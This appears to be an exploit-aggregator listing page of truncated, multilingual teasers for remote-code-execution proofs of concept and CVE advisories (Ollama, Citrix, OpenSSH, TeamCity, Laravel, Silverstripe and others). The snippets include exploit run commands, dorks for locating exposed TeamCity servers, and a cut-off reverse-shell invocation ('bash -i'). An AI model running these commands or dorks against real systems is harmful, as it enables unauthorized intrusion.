CVE-2024-38063

CVE-2024-38063 Visão Geral Em agosto de 2024, a Microsoft lançou uma correção para uma vulnerabilidade de Execução Remota de Código RCE no TCP/IP do Windows. Alguns pesquisadores já publicaram Provas de Conceito PoC para esta vulnerabilidade e, aproximadamente ao mesmo tempo, os pesquisadores da...

CVE-2026-49952

Instalação root@kitploit: pip3 install Pillow torch torchvision Execução root@kitploit: $ python3 exploit.py http://localhost/discuz5/ +----------------------------------------------------+ | Discuz! X5.0 Remote Code Execution Exploit by EgiX | +---------------------------------------------------...

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Verwendung Ich verwende Python3.9. root@kitploit: pip install requests urllib3...

CVE-2021-3129

CVE-2021-3129 Laravel debug rce Verwendung Führe docker-compse up -d aus, um die Umgebung zu starten. Nach dem Zugriff auf Port 8888 klicke auf generate key auf der Startseite, um die Reproduktion zu sehen. Einige Anmerkungen zur Docker-Umgebung: Kopiere .env.example nach .env, um die...

CVE-2026-33017

CVE-2026-33017 — PoC RCE non autenticata di Langflow Disclaimer Questo repository è stato creato a scopo di ricerca e formazione sulla sicurezza. Utilizzarlo esclusivamente in ambienti di laboratorio isolati. L'uso su sistemi non autorizzati costituisce una violazione della legge sulle reti di...

CVE-2023-3519

ثغرة RCE في Citrix ADC CVE-2023-3519 يستخدم هذا الاستغلال عناوين وشيلكود لإصدار Citrix VPX 13.1-48.47. للاطلاع على الشرح الكامل، انقر هنا. الاستخدام يلزم وجود NASM لبناء الشيلكود. root@kitploit: $ sudo apt install nasm الشيلكود المضمن سيقوم بتنزيل وتشغيل سكربت شل من خادم https بعيد. يأخذ السكربت ...

CVE-2024-6387-POC

Sfruttamento della vulnerabilità OpenSSH CVE-2024-6387 🚀 Uno script Python progettato per sfruttare la vulnerabilità di esecuzione di codice remoto RCE in OpenSSH CVE-2024-6387. Questa vulnerabilità coinvolge una condizione nel gestore, che può portare all'esecuzione di codice arbitrario,...

code-wsl-rce

Proof of Concept per l'Esecuzione Remota di Codice in VS Code Remote WSL - CVE-2021-43907 Vedi il blog su https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit. Anche https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43907. Compilazione...

CVE-2026-48908-PoC

CVE-2026-48908 — SP Page Builder Joomla RCE non autenticata Proof-of-concept per CVE-2026-48908 , una vulnerabilità critica CVSS 4.0 = 10.0 di esecuzione di codice in remoto non autenticata nel componente SP Page Builder comsppagebuilder per Joomla, di JoomShaper...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Necessita di essere eseguito su Linux, l'ambiente deve avere gcc Installa golang, esegui il seguente comando per ottenere una shell inversa root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2026-79720

Reflected XSS in Netron versions =9.1.2 on desktop application through unsanitized node names allows an attacker to hide certain nodes, perform port scanning or abuse a Chrome n-day to achieve Remote Code Execution...

CVE-2026-79718

Reflected XSS in Netron versions =9.1.2 on desktop application through unsanitized node names allows an attacker to hide certain nodes, perform port scanning or abuse a Chrome n-day to achieve Remote Code Execution...

CVE-2026-79719

Reflected XSS in Netron versions =9.1.2 on desktop application through unsanitized node names allows an attacker to hide certain nodes, perform port scanning or abuse a Chrome n-day to achieve Remote Code Execution...

silverstripe-advancedworkflow vulnerable to remote code execution via advanced workflow email template

Impact The advanced workflow email template field is vulnerable to a specially crafted payload that can be used to run arbitrary code on the server. Reported by Steve Boyd Silverstripe Ltd...

CVE-2026-75357

An issue in Bilibili Desktop v.1.17.9 allows a remote attacker to execute arbitrary code via the bili-inject.js and bili-bridge.js components...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE POC. Dies war der erste öffentlich veröffentlichte Exploit für CVE-2009-1151. Syntax root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ Demo...

EUVD-2026-67160

Silverstripe Advanced Workflow is a highly configurable step-based workflow module. Prior to 6.4.5, 7.1.3, and 7.2.1, an attacker with permission to author the advanced workflow email template can place a specially crafted server-side template payload in NotifyUsersWorkflowAction.EmailTemplate...

CVE-2026-54718

Silverstripe Advanced Workflow (the symbiote/silverstripe-advancedworkflow module) is vulnerable to remote code execution prior to versions 6.4.5, 7.1.3, and 7.2.1. An attacker with permission to author the advanced workflow email template can inject a specially crafted server-side template paylo...

CVE-2018-16763

Fuel CMS 1.4.1 - Execução Remota de Código O FUEL CMS 1.4.1 permite a avaliação de código PHP por meio do parâmetro filter em pages/select/ ou do parâmetro data em preview/. Isso pode levar à Execução Remota de Código sem autenticação prévia. Instalação root@kitploit: git clone...

CVE-2024-21534

CVE-2024-21534: Vulnerabilità di Esecuzione Remota di Codice in jsonpath-plus =10.0.7 Riepilogo Questo repository contiene un exploit Proof of Concept PoC per una vulnerabilità critica di Esecuzione Remota di Codice RCE nel pacchetto jsonpath-plus, che interessa le versioni precedenti alla 10.0.7...